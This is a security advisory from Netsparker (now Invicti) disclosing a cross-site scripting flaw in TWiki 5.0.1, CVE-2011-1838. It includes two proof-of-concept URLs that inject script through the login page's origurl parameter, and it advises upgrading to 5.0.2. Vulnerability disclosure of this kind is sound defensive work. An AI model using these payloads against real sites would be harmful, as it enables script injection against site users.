XSS Vulnerability Identified in Twiki with Invicti
Information
Advisory by Netsparker (now Invicti)
Name: XSS vulnerability in TWiki
Software: TWiki 5.0.1 and possibly below.
Vendor Homepage: http://twiki.org/
Vulnerability Type: Cross-Site Scripting
Severity: High
Researcher: Mesut Timur
Advisory Reference: NS-11-005
CVE: CVE-2011-1838
Description
TWiki® is a flexible, powerful, and easy-to-use enterprise wiki, enterprise collaboration platform, and web application platform. It is a Structured Wiki, typically used to run a project development space, a document management system, a knowledge base, or any other groupware tool, on an intranet, extranet, or the Internet.
Details
TWiki is affected by XSS vulnerabilities in version 5.0.1.
Example PoC url is as follows:
http://example.com/bin/login?sudo=sudo;origurl=http://example.com/bin/view/Main/TWikiAdminUser%00%27%22--%3E%3C%2Fstyle%3E%3C%2Fscript%3E%3Cscript%3Ealert%280x00044C%29%3C%2Fscript%3E
http://example.com/bin/login/Main/WebHome?'"1=;origurl=1'"--></style></script><script>alert(0x00039C)</script>
To learn more about Cross-Site Scripting vulnerabilities, see Cross-site scripting (XSS)
Solution
Upgrade to the latest TWiki version (5.0.2).
Credits
It has been discovered on testing of Invicti Web Application Security Scanner.
References
- Vendor URL: http://twiki.org/cgi-bin/view/Codev/SecurityAlert-CVE-2011-1838
- MSL Advisory Link: /web-applications-advisories/xss-vulnerability-in-twiki/
- Invicti Advisories: /web-applications-advisories/
About Invicti
Invicti Security is transforming the way web applications are secured. Invicti empowers organizations in every industry to scale their overall security operations, make the best use of their security resources, and engage developers in helping to improve their overall security posture.